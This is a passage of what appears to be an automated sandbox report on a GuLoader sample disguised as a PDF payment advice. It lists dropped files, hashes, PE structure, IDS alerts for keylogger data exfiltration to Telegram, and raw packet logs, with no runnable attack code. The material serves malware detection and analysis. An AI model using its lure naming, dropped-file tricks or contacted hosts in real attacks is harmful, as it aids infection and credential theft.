	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	142.250.200.225 172.217.19.174
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	142.250.200.225 172.217.19.174
	1iC0WTxgUf.exe	Get hash	malicious	Unknown	Browse	142.250.200.225 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	O0rhQM49FL.exe	Get hash	malicious	Unknown	Browse
	O0rhQM49FL.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	low
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Situationen.Pol

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	95190
Entropy (8bit):	4.6205617007906605
Encrypted:	false
SSDEEP:	1536:zaAMu1AwMzvOV9VU+er/vEt18Rl8hUNsF:za8hEAw+o/vEt18D8KS
MD5:	C666D5BD668E4E9BD4DC1D4359A19B1F
SHA1:	2CC942AFA039F22B19C741F262D928228C1CDD1C
SHA-256:	B5CDF16D8354827F1A281C7E5E7743FC60494040A049B391D0997B7D54BD026F
SHA-512:	5136AB06B982173E52D4621302826ACFEBDB261B388BA26C6845C9C7FB3808C85512DA2025E79231B21B7080959C625D930DDF5C96863D97CE402109ADD02462
Malicious:	false
Reputation:	low
Preview:	..n............[......9.$$.`...66.........__.......................N.....................e..[......9.&..-........QQQ.......8..................... ...............t......zzzzzz.....E.i...d..5...Y......z.......%..........................p.........--..........................x............Z...h...g.hh."...SS..b.......OO.Z.......{................................Z................BBBBB..........uuu.{................33................uu......................,,.........ZZ.&.pppp......L......P......................................b._......RR........._.GG......NN...................I.........m................................L........$$$..zzzzzz........s._..H.....&...............ooo......t........................y.22......))....``..................K................X...........=......................................V........................NNN...................................r.............zzz...........w....uuuuuu..AAA....;.V....v.mm.0.b.................F...J.xxx....................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	low
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	low
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\tropaeola.Tel

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	293684
Entropy (8bit):	7.703410579341344
Encrypted:	false
SSDEEP:	6144:ZSTn+i7Qz2n4X4rYJzri719zV8BoQM4w3wSNonLx6tv0EL:ZSTn+i7Qz2n4X4cXOD5J542wSidM
MD5:	67F6619D5C7D457E9DA47F86E3627FA2
SHA1:	0250A7635B60A177CE018CD34B5CEE61A8A81C46
SHA-256:	8182DF40F625C8A96CB493C6B642C6E391B50DB503A628AFF25B9161DDF0644B
SHA-512:	577F08A5305543EF1B4DCD28BB5819E0970FE2586A0D5B5149BF0FE11C57BE8EFFF6C6BECCEEDB5F168D5E9D048C40E4514487CF91DC80A2AEE0CF6D46902DAC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\tropaeola.Tel, Author: Joe Security
Reputation:	low
Preview:	.......mmm......PP.11...........gggg......................???.... ..........uuuuu.R.................$..6......j..9999..............AA..............>...i.```..........N.J..vvv...a.~.~~......}}............RR...ll....^.......Q............J...T.............S.....j........s....x...^^^........................Z.......tt.........................#...............................................CCC....{{{{.....7.^^^....N.y..===.>........00...........>..ll.................d.HH.................~........DDDDDD.............................!...........................{..............==.........A................r.....7...;.............VV......................++..........N.KKKKK........................p............a..HHH.99...\..........................W./.~~...............%%%.iii...............=._..\|\|\|\|..............V.............QQ.=.BB.....iii.....&&....II..........<....R.........................,,........`...}...............%%%%........G.......4.....................(..................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse Filename: SWIFT091816-24_pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse Filename: SWIFT09181-24_pdf.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	3.250976511083343
Encrypted:	false
SSDEEP:	12:8wl0asXowAOcQ/tz0/CSL6/cBnwgXl341DEDeG41DED/RKQ1olfW+kjcmAahTCN7:8xLDWLrFPjPL9izZMspdqy
MD5:	DA3120C581FD7369156BF3B9B82815B5
SHA1:	12B60059AE6BCFFFADEB2D4BDD2B4000E5295362
SHA-256:	5EA5E2BC538A59AA6F16F46991007F577B6EA4B456D42CBBDCF25EAB84FFA971
SHA-512:	B65020A6B78960BED204A4F4C39BEE4BD43E28349DB8D61C91788D6600E89204DFFB4D9087434D8A924994C04C8C36F2A3D69563FDA8AE1D34A333F017AC2FD6
Malicious:	false
Preview:	L..................F........................................................m....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.O.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.............y.............>.e.L.:..er.=y....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.96302159927424
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PAYMENT ADVICE TT07180016-24_pdf.exe
File size:	471'469 bytes
MD5:	34dcd76e7a002a5f19d9842a70ba5c87
SHA1:	188373e893907df10ccf54559d05b6bb98ccdcf4
SHA256:	360acac9133b07ab36c79af7aa5e46850a97a297696bc812bfd25c4415ce4449
SHA512:	e59230ce8bd6758653642b1eba48d88e3ef3da670b466fdf8ccebf5ccba57f04084f663a529df29e6e9ee2e378930b6a5a970843cba3f57cc63eecd44140ef93
SSDEEP:	12288:I5AekxiEheb3HhIt06wEu7Jj1JK8s5FEeK4:Z1Z0Cu7Jj1Jiced
TLSH:	55A423196AB1A2E3E5371A340D33BFBE62397701DB65CD2393241E0E7E227925C3B945
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007FF2E881D153h
push ebp
call 00007FF2E8820296h
cmp eax, ebp
je 00007FF2E881D149h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007FF2E8820213h
push 0040A2ECh
call 00007FF2E8820209h
push 0040A2E0h
call 00007FF2E88201FFh
push 00000009h
call 00007FF2E8820264h
push 00000007h
call 00007FF2E882025Dh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007FF2E881FE4Ah
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007FF2E881FE38h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T08:42:58.326935+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	172.217.19.174	443	TCP
2024-12-17T08:43:05.227378+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-17T08:43:13.633618+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-17T08:43:15.858902+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49747	149.154.167.220	443	TCP
2024-12-17T08:43:17.383645+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49753	158.101.44.242	80	TCP
2024-12-17T08:43:19.406922+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49759	149.154.167.220	443	TCP
2024-12-17T08:43:22.807206+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49766	149.154.167.220	443	TCP
2024-12-17T08:43:26.189057+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49778	149.154.167.220	443	TCP
2024-12-17T08:43:29.522042+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49784	149.154.167.220	443	TCP
2024-12-17T08:43:32.963762+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49794	149.154.167.220	443	TCP
2024-12-17T08:43:36.317018+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49805	149.154.167.220	443	TCP
2024-12-17T08:43:39.650464+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49813	149.154.167.220	443	TCP
2024-12-17T08:43:42.965077+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49825	149.154.167.220	443	TCP
2024-12-17T08:43:46.291647+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49834	149.154.167.220	443	TCP
2024-12-17T08:43:49.603821+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49844	149.154.167.220	443	TCP
2024-12-17T08:43:52.956466+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49852	149.154.167.220	443	TCP
2024-12-17T08:43:56.280424+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49861	149.154.167.220	443	TCP
2024-12-17T08:43:59.665974+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49871	149.154.167.220	443	TCP
2024-12-17T08:44:02.995888+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49880	149.154.167.220	443	TCP
2024-12-17T08:44:06.403244+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49890	149.154.167.220	443	TCP
2024-12-17T08:44:09.804010+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49899	149.154.167.220	443	TCP
2024-12-17T08:44:13.335584+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49910	149.154.167.220	443	TCP
2024-12-17T08:44:16.782812+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49918	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:42:55.460531950 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:55.460582018 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:55.460676908 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:55.488687992 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:55.488713026 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:57.194242954 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:57.194339991 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:57.195065022 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:57.195117950 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:57.589965105 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:57.589996099 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:57.591027975 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:57.591085911 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:57.603717089 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:57.647330046 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:58.327038050 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:58.327121019 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.327142954 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:58.327181101 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.327229023 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:58.327270031 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.327346087 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.327366114 CET	443	49736	172.217.19.174	192.168.2.4
Dec 17, 2024 08:42:58.327377081 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.327403069 CET	49736	443	192.168.2.4	172.217.19.174
Dec 17, 2024 08:42:58.592993975 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:42:58.593045950 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:42:58.593126059 CET	49737	443	192.168.2.4	142.250.200.225
